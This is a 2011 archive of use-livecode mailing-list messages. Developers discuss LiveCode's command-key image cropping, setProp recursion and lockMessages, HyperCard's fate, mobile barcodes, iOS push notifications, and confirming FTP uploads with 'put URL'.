Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From m.schonewille at economy-x-talk.com Mon Dec 5 08:59:45 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Mon, 5 Dec 2011 14:59:45 +0100 Subject: Image Cropping Tool for Livecode In-Reply-To: <4EDCCC70.2090009@fourthworld.com> References: <4EDC3C63.70005@hyperactivesw.com> <4EDCCC70.2090009@fourthworld.com> Message-ID: <7522B6DB-58DF-447B-A7B8-E2170742FFAD@economy-x-talk.com> Hi Richard, I never accidentally lost my data that way. Did you? -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 5 dec 2011, at 14:51, Richard Gaskin wrote: > > That's a frightening way to have users accidentally lose data. > > Is there a property to turn that off, or can we trap for commandKeyDown on mouseDown to override it? > From ambassador at fourthworld.com Mon Dec 5 09:55:29 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Mon, 05 Dec 2011 06:55:29 -0800 Subject: Image Cropping Tool for Livecode In-Reply-To: <7522B6DB-58DF-447B-A7B8-E2170742FFAD@economy-x-talk.com> References: <7522B6DB-58DF-447B-A7B8-E2170742FFAD@economy-x-talk.com> Message-ID: <4EDCDB61.6070500@fourthworld.com> Mark Schonewille wrote: > On 5 dec 2011, at 14:51, Richard Gaskin wrote: >> >> That's a frightening way to have users accidentally lose data. >> >> Is there a property to turn that off, or can we trap for >> commandKeyDown on mouseDown to override it? > > Hi Richard, > > I never accidentally lost my data that way. Did you? LOL. I haven't had such reports yet, but when delivering robust systems we don't ship things with the potential for losing data in the hope that the user simply won't perform the action that would cause such loss, but aim a little higher to prevent the potential for loss altogether. So the question seems relevant: how can we turn off this behavior? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From bvg at mac.com Mon Dec 5 10:00:16 2011 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Mon, 05 Dec 2011 16:00:16 +0100 Subject: Image Cropping Tool for Livecode In-Reply-To: <4EDCDB61.6070500@fourthworld.com> References: <7522B6DB-58DF-447B-A7B8-E2170742FFAD@economy-x-talk.com> <4EDCDB61.6070500@fourthworld.com> Message-ID: uhm... don't enable the pointer tool? set the resizability to false? set the editable to false? Seriously, if you have a image editing app, then you might want to use a cached version of the image anyway, because of rotation and similar ways to lose image quality. This is such a non issue for 99% of the apps, and easy to solve for everyone else, i'm amazed that you even feel the need to ask this question like that. On 5 Dec 2011, at 15:55, Richard Gaskin wrote: > Mark Schonewille wrote: > > > On 5 dec 2011, at 14:51, Richard Gaskin wrote: > >> > >> That's a frightening way to have users accidentally lose data. > >> > >> Is there a property to turn that off, or can we trap for > >> commandKeyDown on mouseDown to override it? > > > > Hi Richard, > > > > I never accidentally lost my data that way. Did you? > > LOL. I haven't had such reports yet, but when delivering robust systems we don't ship things with the potential for losing data in the hope that the user simply won't perform the action that would cause such loss, but aim a little higher to prevent the potential for loss altogether. > > So the question seems relevant: how can we turn off this behavior? > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > LiveCode Journal blog: http://LiveCodejournal.com/blog.irv > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Watch live presentations every Saturday: http://livecode.tv Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From m.schonewille at economy-x-talk.com Mon Dec 5 10:08:00 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Mon, 5 Dec 2011 16:08:00 +0100 Subject: Image Cropping Tool for Livecode In-Reply-To: <4EDCDB61.6070500@fourthworld.com> References: <7522B6DB-58DF-447B-A7B8-E2170742FFAD@economy-x-talk.com> <4EDCDB61.6070500@fourthworld.com> Message-ID: Richard, I see no reason to turn this feature off. I never give the users of my software access to the pointer tool, which means that can never lose data this way. Personally, I really appreciate this feature because it is a very easy way to crop images: no need to edit them in an external editor. As long as LiveCode users don't report this as an actual problem, I'd say don't fix it if it works. I'd rather not request a new feature to optionally turn off image cropping. I'd rather wish RunRev to invest the money I pay for licenses on something really useful, such as truly native text objects. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 5 dec 2011, at 15:55, Richard Gaskin wrote: > > LOL. I haven't had such reports yet, but when delivering robust systems we don't ship things with the potential for losing data in the hope that the user simply won't perform the action that would cause such loss, but aim a little higher to prevent the potential for loss altogether. > > So the question seems relevant: how can we turn off this behavior? From ambassador at fourthworld.com Mon Dec 5 10:53:18 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Mon, 05 Dec 2011 07:53:18 -0800 Subject: Image Cropping Tool for Livecode In-Reply-To: References: Message-ID: <4EDCE8EE.6020607@fourthworld.com> Mark Schonewille wrote: > On 5 dec 2011, at 15:55, Richard Gaskin wrote: >> >> LOL. I haven't had such reports yet, but when delivering robust >> systems we don't ship things with the potential for losing data in >> the hope that the user simply won't perform the action that would >> cause such loss, but aim a little higher to prevent the potential >> for loss altogether. >> >> So the question seems relevant: how can we turn off this behavior? > > I see no reason to turn this feature off. I never give the users of > my software access to the pointer tool, which means that can never > lose data this way. That seems to be the common workaround to dodgy pointer tool behaviors. Jan and Ken take that approach as well, writing hundreds of lines of code to emulate the pointer tool because the pointer tool itself just isn't as useful as SuperCard's implementation. > As long as LiveCode users don't report this as an actual problem, I'd > say don't fix it if it works. I'd rather not request a new feature to > optionally turn off image cropping. I'd rather wish RunRev to invest > the money I pay for licenses on something really useful, such as > truly native text objects. Agreed. Please note that I didn't make a feature request, just wondering if one can trap existing messages/properties to prevent this undocumented behavior. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From m.schonewille at economy-x-talk.com Mon Dec 5 11:03:41 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Mon, 5 Dec 2011 17:03:41 +0100 Subject: Image Cropping Tool for Livecode In-Reply-To: <4EDCE8EE.6020607@fourthworld.com> References: <4EDCE8EE.6020607@fourthworld.com> Message-ID: Richard, You can set the cantSelect of objects to true. That should solve it in most cases, unless... you have a picture that needs to be selectable :-) -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 5 dec 2011, at 16:53, Richard Gaskin wrote: > > Agreed. Please note that I didn't make a feature request, just wondering if one can trap existing messages/properties to prevent this undocumented behavior. From jacque at hyperactivesw.com Mon Dec 5 11:29:49 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 05 Dec 2011 10:29:49 -0600 Subject: Image Cropping Tool for Livecode In-Reply-To: <4EDCCC70.2090009@fourthworld.com> References: <4EDC3C63.70005@hyperactivesw.com> <4EDCCC70.2090009@fourthworld.com> Message-ID: <4EDCF17D.10001@hyperactivesw.com> On 12/5/11 7:51 AM, Richard Gaskin wrote: > Jacque wrote: > >> On 12/4/11 8:09 PM, Sivakatirswami wrote: >>> As anyone created a image cropping tool for LiveCode? >> >> If you hold down the command key while resizing an image, it gets >> cropped to the new size. There's no warning, it just happens. > > That's a frightening way to have users accidentally lose data. > > Is there a property to turn that off, or can we trap for commandKeyDown > on mouseDown to override it? It's in the engine, it isn't a property, but it's been there for three or four years and I think if it were an issue we'd have heard by now. It's largely a developer thing, and very convenient. As others said, if your app doesn't use the pointer tool then it's a non-issue. I suppose you could trap mousemove and check if the command key is down and tool is the pointer tool to avoid the problem. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From ambassador at fourthworld.com Mon Dec 5 11:45:57 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Mon, 05 Dec 2011 08:45:57 -0800 Subject: Image Cropping Tool for Livecode In-Reply-To: References: Message-ID: <4EDCF545.5070105@fourthworld.com> Mark Schonewille wrote: > On 5 dec 2011, at 16:53, Richard Gaskin wrote: >> Agreed. Please note that I didn't make a feature request, just >> wondering if one can trap existing messages/properties to prevent >> this undocumented behavior. > > > You can set the cantSelect of objects to true. That should solve > it in most cases, unless... you have a picture that needs to be > selectable :-) Indeed, there's the rub. ;) There are sometimes unexpected-but-fully-understandable side-effects with using the cantSelect property, but very useful for certain things like using a graphic at the back of a drawing group to catch drag-and-drop messages. Someday I'll get around to finishing my port of SuperCard's SampleDraw example app in LC to illustrate this sort of thing. While I occasionally complain about some of the nuances with the differences between SC and LC pointer tool behaviors, in all fairness I have to admit that having groups with the option of turning off their selectGroupedControls, coupled with having a scrolling group that can occupy only part of a window rather than require the whole window, makes some aspects of creating custom drawing environments in LC much more powerful than anything I've used before. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From ambassador at fourthworld.com Mon Dec 5 11:47:21 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Mon, 05 Dec 2011 08:47:21 -0800 Subject: Image Cropping Tool for Livecode In-Reply-To: <4EDCF17D.10001@hyperactivesw.com> References: <4EDCF17D.10001@hyperactivesw.com> Message-ID: <4EDCF599.8000908@fourthworld.com> Jacque - > I suppose you could trap mousemove and check if the command key is > down and tool is the pointer tool to avoid the problem. Good suggestion. Thanks. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From bobs at twft.com Mon Dec 5 12:17:58 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 5 Dec 2011 09:17:58 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <1322896599211-4152535.post@n4.nabble.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> <1322896599211-4152535.post@n4.nabble.com> Message-ID: <1D6E7A12-7FBC-4594-8B36-378E8E9E3730@twft.com> I think the reason is because he wanted to be able to reverse the decision, if at any point Apple wanted to resurrect the product in the future. Most software companies that go under do not open source their stuff, if for no other reason than to say to the public who didn't want to pay for it, "Okay then, NOBODY WINS!!!" Bob On Dec 2, 2011, at 11:16 PM, Peter Alcibiades wrote: > Yes, Jobs killed a lot of things that were losing money - but that does not > explain why Apple would not open-source Hypercard if it didn't want to > support it. It was possible to stop the losses without killing the product, > but he chose not to. There had to be a reason for that. From sanke at hrz.uni-kassel.de Mon Dec 5 12:20:30 2011 From: sanke at hrz.uni-kassel.de (Wilhelm Sanke) Date: Mon, 05 Dec 2011 18:20:30 +0100 Subject: Image Cropping Tool for Livecode Message-ID: <4EDCFD5E.9070200@hrz.uni-kassel.de> On Mon Dec 5, 2011, Alejandro Tejada capellan2000 at gmail.com wrote: > Some years ago, I created this stack: > Mask bitmap 02 > http://andregarzia.on-rev.com/alejandro/stacks/mask_bitmap02.zip > (snip) > The bitmap image should be completely visible in > the card. If the image is bigger than the card, then > the script of this palette will not work as expected. > > I am sure that Wilhelm Sanke have worked extensively > on this same topic and the code that you need is > in one of his stacks. > > Al What Alejandro had in mind was probably my (also old) stack "More about Masks" . The stack was put together with the cooperation of Jim Hurley and Bernd Niggemann. It explores and discusses in detail different approaches to crop images. On card 3 "mask images as selection tools" you may find what you need. The source image can be any size, also bigger than the card. There are 11 masks on that page (among them different ovals, rounded-rect, triangle, semicircle, star etc.) which can be resized in any direction and put anywhere on the image.- I have got another stack "Photo Patchworks", which is however not yet publicly released and has some different features: - you choose one of the masks, which you can place on the image and resize - you select a transparency mode for the edges of the selection (if intended for seamless blending) - then you select a resizing mode (enlarge, no change, shrink) for the selected patch and the rate of resizing - after that you move the produced new part of the image to the location on the image where you want to embed it - finally you set the blendlevel for the image part to be embedded. - And more, after all that you are asked if you intend to use the cropped part of the image to be placed another time at a different spot on the image. The cropped patch can be also placed on a another image and the patches itself can be flipped, rotated, and modified in still other ways. As an example for the possibilities of the stack I had produced sort of a caricature out of an image of G.W. Bush (two/three years ago?). The image is still there on my website, but it is only accessible if you know the exact URL. However, some of the members of this list had felt offended then (my thinking had been that Bush as a public figure could be modified in such a way as it is usually the practice in newspapers and other media), so you can assume that this was one the reasons to not release the stack, because I did not want to interfere with U.S.-politics. If, however, someone has the urgent need to produce caricatures of Tea-Party members or - maybe less likely - of candidates of the other grand party, let me know that off-list. The Photo Patchworks stack is compatible with any party. Regards, Wilhelm Sanke From chipp at chipp.com Mon Dec 5 12:24:36 2011 From: chipp at chipp.com (Chipp Walters) Date: Mon, 5 Dec 2011 11:24:36 -0600 Subject: Image Cropping Tool for Livecode In-Reply-To: <4EDCF545.5070105@fourthworld.com> References: <4EDCF545.5070105@fourthworld.com> Message-ID: I think the issue isn't really whether or not someone will accidently use a feature, but more along the lines of having the engine assume behaviors we don't know of, or can't override in some way or another. My friend and fellow LC'er, Jerry Daniels, is now working in RB. He needs to as it has an embedded browser object which 'just works.' Discussions with him over the experience is most interesting. RB forces certain ways of working-- and doesn't 'allow' one to roll their own controls without significant outside development-- something which LC has been able to do for years. I appreciate the basic nature of the engine and don't have a problem building tools to allow one to crop or resize images rather than have it embedded. As Jan and Ken do, I typically write my own using browse mode-- a bit more difficult, but there you have complete control. Sivakatirswami, I'll take a peek and see what crop code I may have lying around. Most of it is embedded in much larger image editing types of handlers. From pete at mollysrevenge.com Mon Dec 5 12:30:34 2011 From: pete at mollysrevenge.com (Pete) Date: Mon, 5 Dec 2011 09:30:34 -0800 Subject: setProp and Lock messages In-Reply-To: <4EDBD3CB.8010104@fourthworld.com> References: <4EDBD3CB.8010104@fourthworld.com> Message-ID: Hi Richard, You're right the reference manual does say that. And on the very next page, it says: "If you use the set command within a setprop handler to set the custom property for the current object, no setProp trigger is sent to the target object. (This is to avoid runaway recursion, where the setprop handler triggers itself)". Your example and mine appear to contradict each other so I guess there must be two different circumstances described by these two references. On Sun, Dec 4, 2011 at 12:10 PM, Richard Gaskin wrote: > Pete wrote: > > I think the reference to the documentation not being believable alluded to >> the LC documentation not the datagrid documentation. The LC Reference >> Manual and the dictionary are old and definitely contain inaccuracies. On >> the topic of setprop and recursion, for example, the reference manual >> clearly states that you don't need to user lock messages to prevent >> recursion but, as several people have mentioned in this thread, you do. >> > > Here's what the docs say with regard to recursion for setProp: > > Caution! If a setProp handler in one object's script sets the > custom property for a different object, and the first object > is in the second object's message path, a runaway recursion > will result. For example, if the following handler is in a > card script, and you set the "myCustomProperty" of a button > on the card, runaway recursion will result: > > setProp myCustomProperty newValue > set the myCustomProperty of the target to newValue + 1 > -- Because the target is the button, and this handler is in > -- the card, the above statement sends another setProp trigger > -- to the button. > end myCustomProperty > > To avoid this problem, set the lockMessages property to true > before setting the custom property. > > > I believe that's correct, and have not experienced any bugs which differ > from that description. > > Has anyone here found a recipe for a behavior which contradicts that > description? > > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > LiveCode Journal blog: http://LiveCodejournal.com/**blog.irv > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From ambassador at fourthworld.com Mon Dec 5 12:39:20 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Mon, 05 Dec 2011 09:39:20 -0800 Subject: setProp and Lock messages In-Reply-To: References: Message-ID: <4EDD01C8.8090106@fourthworld.com> Pete wrote: > On Sun, Dec 4, 2011 at 12:10 PM, Richard Gaskin wrote: >> >> Here's what the docs say with regard to recursion for setProp: >> >> Caution! If a setProp handler in one object's script sets the >> custom property for a different object, and the first object >> is in the second object's message path, a runaway recursion >> will result. For example, if the following handler is in a >> card script, and you set the "myCustomProperty" of a button >> on the card, runaway recursion will result: >> >> setProp myCustomProperty newValue >> set the myCustomProperty of the target to newValue + 1 >> -- Because the target is the button, and this handler is in >> -- the card, the above statement sends another setProp trigger >> -- to the button. >> end myCustomProperty >> >> To avoid this problem, set the lockMessages property to true >> before setting the custom property. ... > > > Hi Richard, > You're right the reference manual does say that. And on the very next > page, it says: > > "If you use the set command within a setprop handler to set the custom > property for the current object, no setProp trigger is sent to the > target object. (This is to avoid runaway recursion, where the setprop > handler triggers itself)". > > Your example and mine appear to contradict each other so I guess > there must be two different circumstances described by these two > references. In my pre-coffee state it seems we're looking at the same thing, with one small but important distinction: Recursion will not occur if the setProp handler for a given property label sets the value of a property using that label, BUT if it calls any other handler which sets that property then recursion will occur. Did I miss something? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From ken at kencorey.com Mon Dec 5 13:02:38 2011 From: ken at kencorey.com (Ken Corey) Date: Mon, 05 Dec 2011 18:02:38 +0000 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <1D6E7A12-7FBC-4594-8B36-378E8E9E3730@twft.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> <1322896599211-4152535.post@n4.nabble.com> <1D6E7A12-7FBC-4594-8B36-378E8E9E3730@twft.com> Message-ID: <4EDD073E.5000404@kencorey.com> I had a little company that went bust due to lack of funds. When that happens, the assets of the business must be sold off to pay the creditors (we owed national insurance, PAYE tax, hosting services, salaries, etc). In hopes of trying to raise cash to pay off those debts, the solicitor would *never* give something away when they could sell it. I suppose I could have offered them a pittance for the software and then open sourced it, but as I hadn't drawn a salary in 2 years, that was difficult...and I'm not sure why I would have done it anyway, as it needed specialist knowledge to run the software. I'm sure there could be elements of "I'm going home and taking my ball with me", but in our case it came down to cash. That said, I doubt that's why Jobs didn't open source it. I would suspect that for him and his team it's always been about making the design of everything special...so special, you must be an alcolyte to play. (Apple can charge alcolytes, because they'll go to enough trouble). Average humans won't go to the trouble to create software for a closed system, so Apple guarantees it's 30%. -Ken On 05/12/2011 17:17, Bob Sneidar wrote: > I think the reason is because he wanted to be able to reverse the decision, if at any point Apple wanted to resurrect the product in the future. Most software companies that go under do not open source their stuff, if for no other reason than to say to the public who didn't want to pay for it, "Okay then, NOBODY WINS!!!" From pete at mollysrevenge.com Mon Dec 5 13:25:27 2011 From: pete at mollysrevenge.com (Pete) Date: Mon, 5 Dec 2011 10:25:27 -0800 Subject: setProp and Lock messages In-Reply-To: <4EDD01C8.8090106@fourthworld.com> References: <4EDD01C8.8090106@fourthworld.com> Message-ID: No I don't think you're missing anything - I am :-) I'm sure what you said is correct although I haven't tried it. The example in the manual regarding the use of lockMessages seems to relate to a setProp handler at the stack level to handle a custom property used by all cards in the stack. My poor brain can't discern why that would result in recursion since the example specifically sets the custom property of the target which presumably would be the card from which the set command originated. Anyway, I agree we're pretty much talking about the same thing but we kinda got off the topic of documentation discrepancies. Turns out my assertion that the use of lock messages in a setProp handler isn't a documentation error - I just happened to read one of the reference manual notes about it instead of all of them, my bad. I'm still trying to figure out what to do regarding the use of setProp handlers and the likelihood of lock messages being true when they are called. In a self contained application it's just a case of careful coding habits but in the case of a library of handlers provided for the use of other developers, there is no control over what another developer might do in their own code before calling a handler in the library that issues a setProp command, other than make it very clear that setting lock messages to true might produce "unexpected results". I'm leaning towards abandoning setProp/GetProp in favour of the localised handler approach(which I use elsewhere in my library for other purposes. The dictionary entry for lock messages doesn't exactly inspire confidence either: "Sets the lockMessages property to true, preventing setProp triggers, getProp calls, and certain messages from being sent." Which "certain messages"? On Mon, Dec 5, 2011 at 9:39 AM, Richard Gaskin wrote: > > In my pre-coffee state it seems we're looking at the same thing, with one > small but important distinction: > > Recursion will not occur if the setProp handler for a given property label > sets the value of a property using that label, BUT if it calls any other > handler which sets that property then recursion will occur. > > Did I miss something? > > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > LiveCode Journal blog: http://LiveCodejournal.com/**blog.irv > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From capellan2000 at gmail.com Mon Dec 5 13:44:56 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Mon, 5 Dec 2011 10:44:56 -0800 (PST) Subject: Image Cropping Tool for Livecode In-Reply-To: References: <4EDC27EC.5060109@hindu.org> <4EDC3C63.70005@hyperactivesw.com> <4EDCCC70.2090009@fourthworld.com> <7522B6DB-58DF-447B-A7B8-E2170742FFAD@economy-x-talk.com> <4EDCDB61.6070500@fourthworld.com> <4EDCE8EE.6020607@fourthworld.com> <4EDCF545.5070105@fourthworld.com> Message-ID: <1323110696196-4161689.post@n4.nabble.com> Hi All, Reading about masking and cropping images, How both actions differs from importing an snapshot of an area? Thanks in advance! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Image-Cropping-Tool-for-Livecode-tp4158971p4161689.html Sent from the Revolution - User mailing list archive at Nabble.com. From mazzapaoloitaly at gmail.com Tue Dec 6 03:51:02 2011 From: mazzapaoloitaly at gmail.com (paolomazza) Date: Tue, 6 Dec 2011 00:51:02 -0800 (PST) Subject: Mobile devices and barcodes In-Reply-To: References: Message-ID: <1323161462532-4163941.post@n4.nabble.com> Hi Malte, I wonder if you have found a way to read a barcode with a mobile device. Any news about that? All the best Paolo Mazza -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Mobile-devices-and-barcodes-tp3780353p4163941.html Sent from the Revolution - User mailing list archive at Nabble.com. From keith.clarke at clarkeandclarke.co.uk Tue Dec 6 05:36:23 2011 From: keith.clarke at clarkeandclarke.co.uk (Keith Clarke) Date: Tue, 6 Dec 2011 10:36:23 +0000 Subject: Are iOS push notifications needed for this use case? Message-ID: <1AFE836C-F46B-4F27-B686-F4837040AF1E@clarkeandclarke.co.uk> Hi folks, I'm considering LiveCode for an iOS app but I think I need push notification support. The use case is to alert users of app-specific messages waiting (even when the application is not active) and set the little 'messages waiting' counter on the app's icon. I'm looking for on-device behaviour much like with the Mail app. Is this use case supportable with LiveCode as-is or do I need to look elsewhere unless/until RunRev implement support for push notifications? Best, Keith.. From niconiko at gmail.com Tue Dec 6 06:05:40 2011 From: niconiko at gmail.com (Nicolas Cueto) Date: Tue, 6 Dec 2011 20:05:40 +0900 Subject: Mobile devices and barcodes In-Reply-To: <1323161462532-4163941.post@n4.nabble.com> References: <1323161462532-4163941.post@n4.nabble.com> Message-ID: Hi Paolo, Sarah Reichelt has a couple of barcode related stacks at: http://www.troz.net/rev/index.irev?category=All#stacks I think that will solve your questions. Cheers. -- Nicolas Cueto From effendi at wanadoo.fr Tue Dec 6 08:26:07 2011 From: effendi at wanadoo.fr (Francis Nugent Dixon) Date: Tue, 6 Dec 2011 14:26:07 +0100 Subject: Image Cropping Tool for Livecode Message-ID: <234CA1CB-B0E3-4406-8D66-7F9C9249DBE3@wanadoo.fr> Hi from Beautiful Brittany, Alejandro wrote > Some years ago, I created this stack: > Mask bitmap 02 > http://andregarzia.on-rev.com/alejandro/stacks/mask_bitmap02.zip Great Stuff ! Thanks a million ! -Francis "Nothing should ever be done for the first time !" From gregory.lypny at videotron.ca Tue Dec 6 08:37:10 2011 From: gregory.lypny at videotron.ca (Gregory Lypny) Date: Tue, 06 Dec 2011 08:37:10 -0500 Subject: Confirming an FTP Upload Message-ID: <097C24E9-8DE2-40E5-B261-35AC63609A01@videotron.ca> Hi everyone, I was wondering whether anyone would be willing to share scripting tips on how to monitor and confirm the uploading of files via FTP. I?m using the simple PUT URL form rather than the revFTP library stuff because the latter?s examples are not particularly well documented in the built-in help feature of LiveCode. Gregory From mcgrath3 at mac.com Tue Dec 6 09:40:54 2011 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Tue, 06 Dec 2011 09:40:54 -0500 Subject: Are iOS push notifications needed for this use case? In-Reply-To: <1AFE836C-F46B-4F27-B686-F4837040AF1E@clarkeandclarke.co.uk> References: <1AFE836C-F46B-4F27-B686-F4837040AF1E@clarkeandclarke.co.uk> Message-ID: <3F677924-1502-40CB-8CE0-A1873DFBC222@mac.com> Keith, As of this moment RunRev has not implemented the push notification APIs for iOS into LiveCode. There are third party solutions outside of LC. I also have a vital need for Push Notification. -- Tom McGrath III http://lazyriver.on-rev.com 3mcgrath at comcast.net On Dec 6, 2011, at 5:36 AM, Keith Clarke wrote: > Hi folks, > I'm considering LiveCode for an iOS app but I think I need push notification support. > > The use case is to alert users of app-specific messages waiting (even when the application is not active) and set the little 'messages waiting' counter on the app's icon. I'm looking for on-device behaviour much like with the Mail app. > > Is this use case supportable with LiveCode as-is or do I need to look elsewhere unless/until RunRev implement support for push notifications? > Best, > Keith.. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mazzapaoloitaly at gmail.com Tue Dec 6 09:59:08 2011 From: mazzapaoloitaly at gmail.com (paolomazza) Date: Tue, 6 Dec 2011 06:59:08 -0800 (PST) Subject: Mobile devices and barcodes In-Reply-To: References: <1323161462532-4163941.post@n4.nabble.com> Message-ID: <1323183548411-4164973.post@n4.nabble.com> Hi Nicolas, I went through the Sara's Stacks: BarcodeTester A very simple stack that reads data from a keyboard wedge barcode scanner. It allows you to check the raw data transmitted by the scanner as well as the ASCII data. Category: UtilityLast Updated: Wed, Apr 29, 2009 Barcodes A utility that converts text into the ASCII codes to generate Code128 subset A barcodes. You will need a Code128 font to display and print the codes when generated. There are plenty available but I use Riversedge fonts. Actually what I am looking for is a piece of software to scan an image of a barcode and get import the data into an iOS application. All the best, Paolo -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Mobile-devices-and-barcodes-tp3780353p4164973.html Sent from the Revolution - User mailing list archive at Nabble.com. From benr_mc at cogapp.com Tue Dec 6 09:59:04 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Tue, 06 Dec 2011 14:59:04 +0000 Subject: Last chance to tell (a small part of) the world about your Android and iOS apps Message-ID: <4EDE2DB8.10602@cogapp.com> Thanks to all the people who've already added details of their apps to this survey (37 apps so far - but only one Android one!). As a reminder, this is explicitly about apps that have gone on public 'sale' (including for free) in an app store. If you've produced such an app using LiveCode, and haven't added details of it yet, please do so at: http://www.surveymk.com/s/C93Y6LT It's really quick! I'll close it in a couple more days and will then present the data back to the list. Many thanks, Ben From m.schonewille at economy-x-talk.com Tue Dec 6 10:26:47 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Tue, 6 Dec 2011 16:26:47 +0100 Subject: Last chance to tell (a small part of) the world about your Android and iOS apps In-Reply-To: <4EDE2DB8.10602@cogapp.com> References: <4EDE2DB8.10602@cogapp.com> Message-ID: <221B629B-38FB-4193-A18F-AD6504207F64@economy-x-talk.com> Hi Ben, What exactly will you do with the data, besides publishing the results on this list? -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 6 dec 2011, at 15:59, Ben Rubinstein wrote: > Thanks to all the people who've already added details of their apps to this survey (37 apps so far - but only one Android one!). > > As a reminder, this is explicitly about apps that have gone on public 'sale' (including for free) in an app store. > > If you've produced such an app using LiveCode, and haven't added details of it yet, please do so at: > > http://www.surveymk.com/s/C93Y6LT > > It's really quick! > > I'll close it in a couple more days and will then present the data back to the list. > > Many thanks, > > Ben From mpezzo at gmail.com Tue Dec 6 12:07:31 2011 From: mpezzo at gmail.com (AcidJazz) Date: Tue, 6 Dec 2011 09:07:31 -0800 (PST) Subject: Confirming an FTP Upload In-Reply-To: <097C24E9-8DE2-40E5-B261-35AC63609A01@videotron.ca> References: <097C24E9-8DE2-40E5-B261-35AC63609A01@videotron.ca> Message-ID: <1323191251938-4165561.post@n4.nabble.com> Greg, Here's how I submit data using the Put URL approach... *put *DataToBeSaved into URL ("ftp://username:password at ftp.sitename.com/filename.txt") *If* the result is not empty *then* hide field "wait" answer the result &CR& "Oops! There was a problem saving your response. Please wait a minute and try again." *exit* mouseup *end* if You can also read back the data that you just saved... *get *URL ("http://www.sitename.com/filename.txt") *put *it into tData *answer *"Your data has been stored on the server and then retrieved." & CR & "It looks like this:" &CR&CR& the last line of tData Cheers, Mark -- View this message in context: 